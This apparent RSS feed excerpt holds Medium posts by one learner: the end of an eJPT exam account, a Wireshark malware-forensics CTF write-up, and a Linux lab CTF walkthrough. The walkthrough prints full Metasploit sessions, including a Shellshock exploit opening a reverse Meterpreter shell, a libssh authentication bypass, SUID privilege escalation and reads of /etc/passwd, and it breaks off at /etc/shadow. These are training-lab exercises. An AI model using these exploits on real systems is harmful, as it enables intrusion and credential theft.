copy-paste into or out of the lab session. I panicked a bit, but a friend advised I restart the lab. I wasn’t happy about redoing some steps, but it was necessary.</p><p>I took a break around 1 PM to eat and shower. The power went out for 3 hours, and my laptop died. Thankfully, the lab session wasn’t affected, but the timer kept counting. I used that downtime to rest and regroup.</p><p>At 1:30 AM, the light went out again, so I slept and resumed by 6 AM when it came back on. I continued until about 9:30 AM, then submitted.</p><p><strong>Conclusion:</strong></p><p>This exam was a lovely experience. It tested not just my technical skills but my ability to stay calm, adapt, and think critically.</p><p>If you’re planning to take the eJPT, my advice would be:</p><ul><li>Don’t rush into it.</li><li>Practice the tools till you’re confident.</li><li>Watch how others approached it.</li><li>Read the instructions carefully.</li><li>Organize your findings clearly.</li><li>Sleep well before the exam.</li><li>Be ready for unexpected hiccups (especially if you’re in a low-power region).</li><li>And most importantly, trust your training.</li></ul><p>I’m super proud of my 88%, and even more proud of the journey.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=84d4d44af93e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[INE — Host & Network Penetration Testing: Network-Based Attacks CTF 1]]></title>
            <link>https://medium.com/@ashidijoy52/ine-host-network-penetration-testing-network-based-attacks-ctf-1-e10cfce35618?source=rss-f1cca3b23df2------2</link>
            <guid isPermaLink="false">https://medium.com/p/e10cfce35618</guid>
            <dc:creator><![CDATA[Joy Ashidi]]></dc:creator>
            <pubDate>Wed, 26 Mar 2025 20:39:51 GMT</pubDate>
            <atom:updated>2025-03-26T20:39:51.247Z</atom:updated>
            <content:encoded><![CDATA[<h3>INE — Host &amp; Network Penetration Testing: Network-Based Attacks CTF 1</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CqOsBCiviE7n7U0aHRRXBw.png" /></figure><p>This CTF focused on <strong>Wireshark</strong> (still honing my skills here!). Thankfully, I was able to work through it with research and available resources.</p><p>The challenge highlighted the importance of <strong>network forensics</strong> in identifying <strong>indicators of compromise (IoCs)</strong> and investigating security incidents which are key aspects of <strong>incident response</strong>.</p><p><strong>Steps to Capturing Flags</strong></p><p><strong><em>Flag 1: What is the URL accessed by the infected user that returned a 200 OK response code.</em></strong></p><p>To start, I opened the test.pcap file in Wireshark via the terminal using:</p><pre>wireshark &amp;</pre><ul><li>Clicked <strong>File &gt; Open</strong></li><li>Selected <strong>test.pcap </strong>on the Desktop and clicked <strong>Open</strong>.</li></ul><p>Once the packets loaded, I applied the following filter to display <strong>only HTTP responses with a 200 status code</strong>:</p><pre>http.response.code == 200</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HH7gE2QKA8Qm-s15doAYqw.png" /><figcaption>Flag 1</figcaption></figure><p>The URI is just <strong>“<em>623start.site”</em></strong>, which is the first flag.</p><p><strong><em>Flag 2: What is the IP address, MAC address of the infected Windows client?</em></strong></p><p>To determine the <strong>IP address</strong> and <strong>MAC address</strong> of the infected system, we need to find the <strong>source of the suspicious traffic</strong>. In this case, the infected system is the one generating network activity related to the attack.</p><ul><li>I opened <strong>Statistics &gt; Conversations,</strong></li><li>clicked on the <strong>IPv4 tab,</strong></li><li>this showed a list of <strong>all active IP addresses</strong> in the network (the infected system is likely the <strong>source</strong> of most of the traffic linked to the compromise).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-Y4497FP89QFNbX9HMPAlA.png" /><figcaption>IP address</figcaption></figure><p>As for the MAC address, I filtered the packets using <em>http a</em>s the attack was web based. This displayed only HTTP-related packets, helping me isolate relevant traffic.</p><p>I examined <strong>Ethernet II</strong> and <strong>IPv4 headers</strong> in the packet details and found the <strong>Source IP &amp; MAC Address</strong> (the infected machine).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Yti3t8H7eKz8Pxm3VPRkcw.png" /></figure><p>The flag: <strong><em>10.7.10.47, 80:86:5b:ab:1e:c4</em></strong>.</p><p><strong><em>Flag 3: Which Wireshark filter can you use to determine the victim’s hostname from NetBIOS Name Service traffic, and what is the detected hostname for this malware infection?</em></strong></p><p>To find the victim’s hostname, I examined NetBIOS Name Service (NBNS) traffic in Wireshark. It displayed only NetBIOS Name Service packets, which are used for hostname resolution in Windows environments.</p><p>I inserted NBNS to be filtered, expanded the NetBIOS Name Service section in the packet details and was able to locate the hostname associated with the infected system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cvyZLrzsvKOjhkfwGb4jCQ.png" /></figure><p>The Flag: <strong><em>nbns, DESKTOP-9PEA63H</em></strong></p><p><strong><em>Flag 4: Which user got infected and ran the mystery_file.ps1 PowerShell script?</em></strong></p><p>After several attempts at filtering with different prompts, I decided to use <strong>Ctrl + F</strong>, enabling <strong>Packet Bytes</strong> and selecting <strong>String</strong> to search for “mystery_file.ps1.” This led me to a packet containing truncated data. The right pane in Wireshark displayed additional information about the truncated data. To extract more readable details, I right-clicked, selected <strong>View as Readable Text</strong>, and copied the content into a text editor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SDloMQR1kWLZH5pRVGROIw.png" /></figure><p>Looking at the information obtained, it was evident that <strong>user <em>“rwalters”</em></strong> got infected and ran the mystery_file.ps1 PowerShell script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wn22o_vIYeXSOzXEsA4s6w.png" /></figure><p><strong><em>Flag 5: What User-Agent string indicates the traffic generated by a PowerShell script?</em></strong></p><p>A HTTP filter was used to display all HTTP requests, including the User-Agent strings present in the headers. By analyzing the captured requests, I identified the User-Agent string associated with PowerShell traffic:</p><pre>http.request</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l_r2XV6x7uVlRp9MwN119w.png" /></figure><p>Looking at the HyperText Transfer Protocol (GET) section, I found the User-Agent string listed there, but identifying the correct flag was tricky.</p><p>After carefully analyzing the captured requests, it became clear that the flag was <strong><em>“WindowsPowerShell”</em></strong>.</p><p><strong><em>Flag 6: Which wallet extension ID is associated with the Coinbase wallet?</em></strong></p><p>I searched using Ctrl + F, enabling Packet Bytes and selecting String to search for “coinbase”. This directed me to a packet containing truncated data. The right pane in Wireshark displayed additional details related to the truncated data. To extract more readable information, I right-clicked, selected View as Readable Text, and pasted the content into a text editor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f3Rz6Kdmwv_E4pV4u5q-JQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RiAufLGr4uxJHZX3WTf06A.png" /></figure><p>This revealed the wallet extension ID associated with the Coinbase wallet “<strong><em>hnfanknocfeofbddgcijnmhnfnkdnaad”.</em></strong></p><p>As I continue improving my skills, I look forward to tackling more CTFs, refining my forensic analysis techniques, and exploring advanced network security concepts.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e10cfce35618" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[INE — Host & Network Penetration Testing: System-Host Based Attacks CTF 2]]></title>
            <link>https://medium.com/@ashidijoy52/ine-host-network-penetration-testing-system-host-based-attacks-ctf-2-0a61bbc826ad?source=rss-f1cca3b23df2------2</link>
            <guid isPermaLink="false">https://medium.com/p/0a61bbc826ad</guid>
            <dc:creator><![CDATA[Joy Ashidi]]></dc:creator>
            <pubDate>Mon, 24 Mar 2025 11:20:18 GMT</pubDate>
            <atom:updated>2025-03-24T11:25:04.655Z</atom:updated>
            <content:encoded><![CDATA[<h3>INE — Host &amp; Network Penetration Testing: System-Host Based Attacks CTF 2</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9cAqcyUvBc-RToX4UQORdA.png" /></figure><p>Continuing from CTF1 on system-host-based attacks, this article provides a step-by-step guide to the Linux-based Capture the Flag (CTF) challenge.</p><p><strong>Information Gathering:</strong></p><p>INE only hinted that there were two (2) target systems on the network, which I confirmed by checking the <strong>/etc/hosts</strong> file using cat /etc/hosts. I then proceeded to ping both systems to verify their accessibility, and they were indeed reachable.</p><pre>┌──(root㉿INE)-[~]<br>└─# cat /etc/hosts<br>127.0.0.1       localhost<br>::1     localhost ip6-localhost ip6-loopback<br>fe00::0 ip6-localnet<br>ff00::0 ip6-mcastprefix<br>ff02::1 ip6-allnodes<br>ff02::2 ip6-allrouters<br>10.1.0.7        INE<br>127.0.0.1 AttackDefense-Kali<br>192.185.248.2   INE<br>192.185.248.2 INE<br>192.185.248.3 target1.ine.local<br>192.185.248.4 target2.ine.local<br><br>┌──(root㉿INE)-[~]<br>└─# ping -c 4 target1.ine.local<br>PING target1.ine.local (192.185.248.3) 56(84) bytes of data.<br>64 bytes from target1.ine.local (192.185.248.3): icmp_seq=1 ttl=64 time=0.099 ms<br>64 bytes from target1.ine.local (192.185.248.3): icmp_seq=2 ttl=64 time=0.101 ms<br>64 bytes from target1.ine.local (192.185.248.3): icmp_seq=3 ttl=64 time=0.076 ms<br>64 bytes from target1.ine.local (192.185.248.3): icmp_seq=4 ttl=64 time=0.058 ms<br><br>--- target1.ine.local ping statistics ---<br>4 packets transmitted, 4 received, 0% packet loss, time 3099ms<br>rtt min/avg/max/mdev = 0.058/0.083/0.101/0.017 ms<br><br>┌──(root㉿INE)-[~]<br>└─# ping -c 4 target2.ine.local                                                                                                                           <br>PING target2.ine.local (192.185.248.4) 56(84) bytes of data.<br>64 bytes from target2.ine.local (192.185.248.4): icmp_seq=1 ttl=64 time=0.098 ms<br>64 bytes from target2.ine.local (192.185.248.4): icmp_seq=2 ttl=64 time=0.052 ms<br>64 bytes from target2.ine.local (192.185.248.4): icmp_seq=3 ttl=64 time=0.066 ms<br>64 bytes from target2.ine.local (192.185.248.4): icmp_seq=4 ttl=64 time=0.065 ms<br><br>--- target2.ine.local ping statistics ---<br>4 packets transmitted, 4 received, 0% packet loss, time 3097ms<br>rtt min/avg/max/mdev = 0.052/0.070/0.098/0.016 ms</pre><p><strong>Port Scanning:</strong><br>I conducted <strong>Nmap</strong> scans on both target systems. The results showed that <strong>port 80 (HTTP)</strong> was open on <strong>Target System 1</strong>, while <strong>port 22 (SSH)</strong> was open on <strong>Target System 2</strong>.</p><pre>┌──(root㉿INE)-[~]<br>└─# nmap -sVCS -O target1.ine.local                                                                                                                        <br>Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-24 14:09 IST<br>Nmap scan report for target1.ine.local (192.185.248.3)<br>Host is up (0.000050s latency).<br>Not shown: 999 closed tcp ports (reset)<br>PORT   STATE SERVICE VERSION<br>80/tcp open  http    Apache httpd 2.4.6 ((Unix))<br>|_http-server-header: Apache/2.4.6 (Unix)<br>| http-methods: <br>|_  Potentially risky methods: TRACE<br>|_http-title: Browser Detector<br>MAC Address: 02:42:C0:B9:F8:03 (Unknown)<br>Device type: general purpose<br>Running: Linux 4.X|5.X<br>OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5<br>OS details: Linux 4.15 - 5.8<br>Network Distance: 1 hop<br><br>OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 7.85 seconds<br><br>┌──(root㉿INE)-[~]<br>└─# nmap -sVCS -O target2.ine.local<br>Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-24 14:10 IST<br>Nmap scan report for target2.ine.local (192.185.248.4)<br>Host is up (0.000060s latency).<br>Not shown: 999 closed tcp ports (reset)<br>PORT   STATE SERVICE VERSION<br>22/tcp open  ssh     libssh 0.8.3 (protocol 2.0)<br>| ssh-hostkey: <br>|_  2048 31:e2:1d:f1:b2:39:0c:a3:ec:db:01:4a:eb:a2:39:c7 (RSA)<br>MAC Address: 02:42:C0:B9:F8:04 (Unknown)<br>Device type: general purpose<br>Running: Linux 4.X|5.X<br>OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5<br>OS details: Linux 4.15 - 5.8<br>Network Distance: 1 hop<br><br>OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 1.86 seconds</pre><p><strong>Enumeration and Capturing flags:</strong></p><p><strong><em>Target system 1:</em></strong><br>Since <strong>port 80</strong> was open, I entered the IP address into my web browser. I noticed that a <strong>CGI script</strong> was in use, as indicated in the browser’s search bar.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sChxVuDj5JTMkrlijenEFw.png" /><figcaption>Web browser’s display</figcaption></figure><p>I proceeded to check if it was vulnerable to <strong>Shellshock</strong> using <strong>Nmap scripts</strong>, but the initial results showed nothing. To confirm, I used <strong>Nmap’s Shellshock exploit script</strong>, and this time, I successfully obtained a <strong>Meterpreter session</strong>, indicating that the target was indeed vulnerable to <strong>Shellshock</strong>.</p><pre>msf6 &gt; search shellshock<br><br>Matching Modules<br>================<br><br>   #   Name                                               Disclosure Date  Rank       Check  Description<br>   -   ----                                               ---------------  ----       -----  -----------<br>   0   exploit/linux/http/advantech_switch_bash_env_exec  2015-12-01       excellent  Yes    Advantech Switch Bash Environment Variable Code Injection (Shellshock)<br>   1   exploit/multi/http/apache_mod_cgi_bash_env_exec    2014-09-24       excellent  Yes    Apache mod_cgi Bash Environment Variable Code Injection (Shellshock)<br>   2     \_ target: Linux x86                             .                .          .      .<br>   3     \_ target: Linux x86_64                          .                .          .      .<br>   4   auxiliary/scanner/http/apache_mod_cgi_bash_env     2014-09-24       normal     Yes    Apache mod_cgi Bash Environment Variable Injection (Shellshock) Scanner<br>   5   exploit/multi/http/cups_bash_env_exec              2014-09-24       excellent  Yes    CUPS Filter Bash Environment Variable Code Injection (Shellshock)<br>   6   auxiliary/server/dhclient_bash_env                 2014-09-24       normal     No     DHCP Client Bash Environment Variable Code Injection (Shellshock)<br>   7   exploit/unix/dhcp/bash_environment                 2014-09-24       excellent  No     Dhclient Bash Environment Variable Injection (Shellshock)<br>   8   exploit/linux/http/ipfire_bashbug_exec             2014-09-29       excellent  Yes    IPFire Bash Environment Variable Injection (Shellshock)<br>   9   exploit/multi/misc/legend_bot_exec                 2015-04-27       excellent  Yes    Legend Perl IRC Bot Remote Code Execution<br>   10  exploit/osx/local/vmware_bash_function_root        2014-09-24       normal     Yes    OS X VMWare Fusion Privilege Escalation via Bash Environment Code Injection (Shellshock)<br>   11  exploit/multi/ftp/pureftpd_bash_env_exec           2014-09-24       excellent  Yes    Pure-FTPd External Authentication Bash Environment Variable Code Injection (Shellshock)<br>   12    \_ target: Linux x86                             .                .          .      .<br>   13    \_ target: Linux x86_64                          .                .          .      .<br>   14  exploit/unix/smtp/qmail_bash_env_exec              2014-09-24       normal     No     Qmail SMTP Bash Environment Variable Injection (Shellshock)<br>   15  exploit/multi/misc/xdh_x_exec                      2015-12-04       excellent  Yes    Xdh / LinuxNet Perlbot / fBot IRC Bot Remote Code Execution<br><br><br>Interact with a module by name or index. For example info 15, use 15 or use exploit/multi/misc/xdh_x_exec<br><br>msf6 &gt; use 1<br>[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp<br>msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) &gt; show options<br><br>Module options (exploit/multi/http/apache_mod_cgi_bash_env_exec):<br><br>   Name            Current Setting  Required  Description<br>   ----            ---------------  --------  -----------<br>   CMD_MAX_LENGTH  2048             yes       CMD max line length<br>   CVE             CVE-2014-6271    yes       CVE to check/exploit (Accepted: CVE-2014-6271, CVE-2014-6278)<br>   HEADER          User-Agent       yes       HTTP header to use<br>   METHOD          GET              yes       HTTP method to use<br>   Proxies                          no        A proxy chain of format type:host:port[,type:host:port][...]<br>   RHOSTS                           yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html<br>   RPATH           /bin             yes       Target PATH for binaries used by the CmdStager<br>   RPORT           80               yes       The target port (TCP)<br>   SSL             false            no        Negotiate SSL/TLS for outgoing connections<br>   SSLCert                          no        Path to a custom SSL certificate (default is randomly generated)<br>   TARGETURI                        yes       Path to CGI script<br>   TIMEOUT         5                yes       HTTP read response timeout (seconds)<br>   URIPATH                          no        The URI to use for this exploit (default is random)<br>   VHOST                            no        HTTP server virtual host<br><br><br>   When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:<br><br>   Name     Current Setting  Required  Description<br>   ----     ---------------  --------  -----------<br>   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to liste<br>                                       n on all addresses.<br>   SRVPORT  8080             yes       The local port to listen on.<br><br><br>Payload options (linux/x86/meterpreter/reverse_tcp):<br><br>   Name   Current Setting  Required  Description<br>   ----   ---------------  --------  -----------<br>   LHOST  127.0.0.1        yes       The listen address (an interface may be specified)<br>   LPORT  4444             yes       The listen port<br><br><br>Exploit target:<br><br>   Id  Name<br>   --  ----<br>   0   Linux x86<br><br><br><br>View the full module info with the info, or info -d command.<br><br>msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) &gt; set RHOSTS target1.ine.local<br>RHOSTS =&gt; target1.ine.local<br>msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) &gt; set TARGETURI /browser.cgi<br>TARGETURI =&gt; /browser.cgi<br>msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) &gt; run<br><br>[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?<br>[*] Started reverse TCP handler on 127.0.0.1:4444 <br>[*] Command Stager progress - 100.00% done (1092/1092 bytes)<br>[*] Exploit completed, but no session was created.<br>msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) &gt; set LHOST 192.185.248.2<br>LHOST =&gt; 192.185.248.2<br>msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) &gt; run<br><br>[*] Started reverse TCP handler on 192.185.248.2:4444 <br>[*] Command Stager progress - 100.00% done (1092/1092 bytes)<br>[*] Sending stage (1017704 bytes) to 192.185.248.3<br>[*] Meterpreter session 1 opened (192.185.248.2:4444 -&gt; 192.185.248.3:52896) at 2025-03-24 14:41:30 +0530</pre><p>I went ahead to further explore the meterpreter session I got,</p><pre>meterpreter &gt; sysinfo<br>Computer     : target1.ine.local<br>OS           : Ubuntu 14.04 (Linux 6.8.0-40-generic)<br>Architecture : x64<br>BuildTuple   : i486-linux-musl<br>Meterpreter  : x86/linux<br>meterpreter &gt; getuid<br>Server username: daemon<br>meterpreter &gt; shell<br>Process 77 created.<br>Channel 1 created.<br>/bin/bash -i<br>bash: cannot set terminal process group (28): Inappropriate ioctl for device<br>bash: no job control in this shell<br>daemon@target1:/opt/apache/htdocs$ ls<br>ls<br>browser.cgi<br>index.html<br>static<br>daemon@target1:/opt/apache/htdocs$ cat /etc/passwd<br>cat /etc/passwd<br>root:x:0:0:root:/root:/bin/bash<br>daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin<br>bin:x:2:2:bin:/bin:/usr/sbin/nologin<br>sys:x:3:3:sys:/dev:/usr/sbin/nologin<br>sync:x:4:65534:sync:/bin:/bin/sync<br>games:x:5:60:games:/usr/games:/usr/sbin/nologin<br>man:x:6:12:man:/var/cache/man:/usr/sbin/nologin<br>lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin<br>mail:x:8:8:mail:/var/mail:/usr/sbin/nologin<br>news:x:9:9:news:/var/spool/news:/usr/sbin/nologin<br>uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin<br>proxy:x:13:13:proxy:/bin:/usr/sbin/nologin<br>www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin<br>backup:x:34:34:backup:/var/backups:/usr/sbin/nologin<br>list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin<br>irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin<br>gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin<br>nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin<br>libuuid:x:100:101::/var/lib/libuuid:<br>syslog:x:101:104::/home/syslog:/bin/false</pre><p>I got to find the flag 2 before finding the first one, enumerating the current directory I got access to.</p><p>Flag 2: In the server’s root directory, there might be something hidden. Explore ‘/opt/apache/htdocs/’ carefully to find the next flag on target1.ine.local</p><pre>daemon@target1:/opt/apache/htdocs$ ls -la<br>ls -la<br>total 32<br>drwxr-xr-x 1 root root 4096 Mar 24 08:37 .<br>drwxr-xr-x 1 root root 4096 Dec 28  2021 ..<br>-rw-r--r-- 1 root root   39 Mar 24 08:37 .flag.txt<br>-rwxr-xr-x 1 root root 6364 Dec 28  2021 browser.cgi<br>-rw-r--r-- 1 root root  517 Dec 28  2021 index.html<br>drwxr-xr-x 5 root root 4096 Dec 27  2021 static<br>daemon@target1:/opt/apache/htdocs$ cat .flag.txt<br>cat .flag.txt<br>FLAG2_cd79397d2d1a47f981c25bed8d94dabe<br>daemon@target1:/opt/apache/htdocs$</pre><p>Based on this and the hint for flag 1, I went backwards to the / directory and captured the first flag.</p><p><strong>Flag 1: Check the root (‘/’) directory for a file that might hold the key to the first flag on target1.ine.local.</strong></p><pre>daemon@target1:/opt/apache/htdocs$ cd /<br>cd /<br>daemon@target1:/$ ls -al<br>ls -al<br>total 92<br>drwxr-xr-x    1 root   root    4096 Mar 24 08:37 .<br>drwxr-xr-x    1 root   root    4096 Mar 24 08:37 ..<br>-rwxr-xr-x    1 root   root       0 Mar 24 08:36 .dockerenv<br>drwxr-xr-x    2 root   root    4096 Dec 17  2019 bin<br>drwxr-xr-x    2 root   root    4096 Apr 10  2014 boot<br>drwxr-xr-x    5 root   root     340 Mar 24 08:36 dev<br>drwxr-xr-x    1 root   root    4096 Mar 24 08:36 etc<br>-rw-r--r--    1 root   root      39 Mar 24 08:36 flag.txt<br>drwxr-xr-x    2 root   root    4096 Apr 10  2014 home<br>drwxr-xr-x    1 root   root    4096 Dec 27  2021 lib<br>drwxr-xr-x    2 root   root    4096 Dec 17  2019 lib64<br>drwxr-xr-x    2 root   root    4096 Dec 17  2019 media<br>drwxr-xr-x    2 root   root    4096 Apr 10  2014 mnt<br>drwxr-xr-x    1 root   root    4096 Dec 28  2021 opt<br>dr-xr-xr-x 1011 nobody nogroup    0 Mar 24 08:36 proc<br>drwx------    2 root   root    4096 Dec 17  2019 root<br>drwxr-xr-x    1 root   root    4096 Mar 24 08:36 run<br>drwxr-xr-x    1 root   root    4096 Mar 25  2021 sbin<br>drwxr-xr-x    2 root   root    4096 Dec 17  2019 srv<br>-rwxr-xr-x    1 root   root      36 Dec 28  2021 start-apache2.sh<br>-rwxr-xr-x    1 root   root      32 Dec 28  2021 startup.sh<br>dr-xr-xr-x   13 nobody nogroup    0 Aug 25  2024 sys<br>drwxrwxrwt    1 root   root    4096 Mar 24 09:11 tmp<br>drwxr-xr-x    1 root   root    4096 Dec 17  2019 usr<br>drwxr-xr-x    1 root   root    4096 Dec 17  2019 var<br>daemon@target1:/$ cat flag.txt<br>cat flag.txt<br>FLAG1_c4855895e0ff4caea5dad41658fbf0ba</pre><p><strong><em>Target system 2:</em></strong></p><p><strong>Flag 3: Investigate the user’s home directory and consider using ‘libssh_auth_bypass’ to uncover the flag on target2.ine.local.</strong></p><p>Since <strong>port 22 (SSH)</strong> was open, I attempted brute-forcing with <strong>Hydra</strong> and the custom <strong>Metasploit wordlists</strong>, but I couldn’t find any valid credentials. Based on the hint for <strong>Flag 3</strong>, I decided to use the <strong>libssh_auth_bypass</strong> module, which allows bypassing authentication. Successfully exploiting this, I spawned an <strong>interactive shell</strong> and, after further exploration, I was able to capture <strong>Flag 3</strong>.</p><pre>┌──(root㉿INE)-[~]<br>└─# service postgresql start &amp;&amp; msfconsole -q<br>Starting PostgreSQL 16 database server: main.<br>msf6 &gt; search libssh<br><br>Matching Modules<br>================<br><br>   #  Name                                      Disclosure Date  Rank    Check  Description<br>   -  ----                                      ---------------  ----    -----  -----------<br>   0  auxiliary/scanner/ssh/libssh_auth_bypass  2018-10-16       normal  No     libssh Authentication Bypass Scanner<br>   1    \_ action: Execute                      .                .       .      Execute a command<br>   2    \_ action: Shell                        .                .       .      Spawn a shell<br><br><br>Interact with a module by name or index. For example info 2, use 2 or use auxiliary/scanner/ssh/libssh_auth_bypass<br>After interacting with a module you can manually set a ACTION with set ACTION &#39;Shell&#39;<br><br>msf6 &gt; use 0<br>msf6 auxiliary(scanner/ssh/libssh_auth_bypass) &gt; show options<br><br>Module options (auxiliary/scanner/ssh/libssh_auth_bypass):<br><br>   Name           Current Setting  Required  Description<br>   ----           ---------------  --------  -----------<br>   CHECK_BANNER   true             no        Check banner for libssh<br>   CMD                             no        Command or alternative shell<br>   CreateSession  true             no        Create a new session for every successful login<br>   RHOSTS                          yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html<br>   RPORT          22               yes       The target port<br>   SPAWN_PTY      false            no        Spawn a PTY<br>   THREADS        1                yes       The number of concurrent threads (max one per host)<br><br><br>Auxiliary action:<br><br>   Name   Description<br>   ----   -----------<br>   Shell  Spawn a shell<br><br><br><br>View the full module info with the info, or info -d command.<br><br>msf6 auxiliary(scanner/ssh/libssh_auth_bypass) &gt; set RHOSTS target2.ine.local<br>RHOSTS =&gt; target2.ine.local<br>msf6 auxiliary(scanner/ssh/libssh_auth_bypass) &gt; set SPAWN_PTY true<br>SPAWN_PTY =&gt; true<br>msf6 auxiliary(scanner/ssh/libssh_auth_bypass) &gt; run<br><br>[*] 192.185.248.4:22 - Attempting authentication bypass<br>[*] Attempting &quot;Shell&quot; Action, see &quot;show actions&quot; for more details<br>[*] Command shell session 1 opened (192.185.248.2:40747 -&gt; 192.185.248.4:22) at 2025-03-24 15:07:00 +0530<br>[*] Scanned 1 of 1 hosts (100% complete)<br>[*] Auxiliary module execution completed<br>msf6 auxiliary(scanner/ssh/libssh_auth_bypass) &gt; sessions<br><br>Active sessions<br>===============<br><br>  Id  Name  Type   Information                                                  Connection<br>  --  ----  ----   -----------                                                  ----------<br>  1         shell  libssh Authentication Bypass Scanner (SSH-2.0-libssh_0.8.3)  192.185.248.2:40747 -&gt; 192.185.248.4:22 (192.185.248.4)<br><br>msf6 auxiliary(scanner/ssh/libssh_auth_bypass) &gt; sessions 1<br>[*] Starting interaction with 1...<br><br><br>Shell Banner:<br>_[?2004hsh-5.2$<br>-----<br><br>sh-5.2$ ls<br>ls<br>bin   dev  home  lib64  opt   root  sbin  sys  usr<br>boot  etc  lib   mnt    proc  run   srv   tmp  var<br>sh-5.2$ pwd<br>pwd<br>/<br>sh-5.2$ cd root<br>cd root<br>sh: cd: root: Permission denied<br>sh-5.2$ cd home<br>cd home<br>sh-5.2$ ls<br>ls<br>temp  user<br>sh-5.2$ cd user<br>cd user<br>sh-5.2$ ls -la<br>ls -la<br>total 60<br>drwx------ 1 user user 4096 Mar 24 09:35 .<br>drwxr-xr-x 1 root root 4096 Nov 14 08:31 ..<br>-rw------- 1 user user  143 Mar 24 09:35 .bash_history<br>-rw-r--r-- 1 user user   21 Sep 24 19:46 .bash_logout<br>-rw-r--r-- 1 user user   57 Sep 24 19:46 .bash_profile<br>-rw-r--r-- 1 user user  172 Sep 24 19:46 .bashrc<br>drwxr-xr-x 2 user user 4096 Nov 14 08:31 .ssh<br>-rw-r--r-- 1 root root   39 Mar 24 08:36 flag.txt<br>-rwx------ 1 root root 8296 Jun 11  2024 greetings<br>-rwsr-xr-x 1 root root 8344 Jun 11  2024 welcome<br>sh-5.2$ cat flag.txt<br>cat flag.txt<br>FLAG3_73638ed0af41432bbee93467bb1df8a3</pre><p>From my knowledge of a previous assessment, I recalled that beneath the flag file, there was a <strong>greetings</strong> and <strong>welcome</strong> file. I viewed and executed both files. The <strong>greetings</strong> file required higher privileges, while the <strong>welcome</strong> file executed successfully. However, attempting to view the <strong>greetings</strong> file caused issues, prompting me to clear my terminal after carrying out the following steps:</p><pre>- ./greetings<br>- ./welcome (files present)<br>- file welcome<br>- strings welcome<br>- rm greetings<br>- cp /bin/bash greetings<br>- ls</pre><p>After this, I executed a series of commands that granted me access to the root user. However, upon exploring the directory, I noticed that it contained the same files as the <strong>/home/user</strong> directory. Revisiting my initial shell results, I discovered a <strong>root</strong> directory that I had previously been denied access to. Now, as a root user, I successfully accessed it and captured <strong>Flag 4</strong> within that directory.</p><p><strong>Flag 4: The most restricted areas often hold the most valuable secrets. Look into the ‘/root’ directory to find the hidden flag on target2.ine.local</strong></p><pre><br>sh-5.2$ ./welcome<br>./welcome<br>[root@target2 ~]# ls -la<br>ls -la<br>total 1140<br>drwx------ 1 user user    4096 Mar 24 09:40 .<br>drwxr-xr-x 1 root root    4096 Nov 14 08:31 ..<br>-rw------- 1 user user     453 Mar 24 09:48 .bash_history<br>-rw-r--r-- 1 user user      21 Sep 24 19:46 .bash_logout<br>-rw-r--r-- 1 user user      57 Sep 24 19:46 .bash_profile<br>-rw-r--r-- 1 user user     172 Sep 24 19:46 .bashrc<br>drwxr-xr-x 2 user user    4096 Nov 14 08:31 .ssh<br>-rw-r--r-- 1 root root      39 Mar 24 08:36 flag.txt<br>-rwxr-xr-x 1 user user 1117080 Mar 24 09:40 greetings<br>-rwsr-xr-x 1 root root    8344 Jun 11  2024 welcome<br>[root@target2 ~]# id<br>id<br>uid=0(root) gid=1000(user) groups=1000(user)<br>[root@target2 ~]# cat /etc/shadow<br>cat 